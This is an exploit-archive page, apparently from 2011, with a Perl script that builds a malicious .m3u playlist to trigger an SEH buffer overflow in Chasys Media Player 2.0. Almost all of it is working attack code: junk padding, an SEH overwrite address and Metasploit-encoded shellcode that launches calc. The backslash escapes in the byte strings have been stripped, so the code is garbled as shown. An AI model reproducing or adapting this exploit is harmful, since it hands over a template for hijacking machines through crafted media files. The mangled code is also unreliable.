Chasys Media Player 2.0 Buffer Overflow Exploit(SEH)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Chasys Media Player 2.0 Buffer Overflow Exploit(SEH)
# Published : 2011-05-11
# Author :
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# Exploit Title: Chasys Media Player Buffer Overflow Exploit(SEH)
# Software Link: http://www.chachaslab.com/chasys_media.php
# Version: 2.0
# Tested on: Win XP SP3 French
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com

my $file= "exploit.m3u";
my $size = 10000;
my $junk = "#EXTM3Un"."x41" x 1308;
my $nseh = "xebx06x90x90";
my $seh = pack('V', 0x00280B0B); # CALL DWORD PTR SS:[EBP+30]
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdaxddxbfxb0x1ax64x4fxd9x74x24xf4x58x31xc9" .
"xb1x32x31x78x17x83xc0x04x03xc8x09x86xbaxd4" .
"xc6xcfx45x24x17xb0xccxc1x26xe2xabx82x1bx32" .
"xbfxc6x97xb9xedxf2x2cxcfx39xf5x85x7ax1cx38" .
"x15x4bxa0x96xd5xcdx5cxe4x09x2ex5cx27x5cx2f" .
"x99x55xafx7dx72x12x02x92xf7x66x9fx93xd7xed" .
"x9fxebx52x31x6bx46x5cx61xc4xddx16x99x6exb9" .
"x86x98xa3xd9xfbxd3xc8x2ax8fxe2x18x63x70xd5" .
"x64x28x4fxdax68x30x97xdcx92x47xe3x1fx2ex50" .
"x30x62xf4xd5xa5xc4x7fx4dx0exf5xacx08xc5xf9" .
"x19x5ex81x1dx9fxb3xb9x19x14x32x6exa8x6ex11" .
"xaaxf1x35x38xebx5fx9bx45xebx07x44xe0x67xa5" .
"x91x92x25xa3x64x16x50x8ax67x28x5bxbcx0fx19" .
"xd0x53x57xa6x33x10xa9x57x8ex8cx3excex7bxed" .
"x22xf1x51x31x5bx72x50xc9x98x6ax11xccxe5x2c" .
"xc9xbcx76xd9xedx13x76xc8x8dxf2xe4x90x51";

my $rest = "D" x ($size - length($junk.$nseh.$seh.$shellcode));
open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$shellcode.$rest;
close($FILE);
print "Files Created successfullyn";
sleep(1);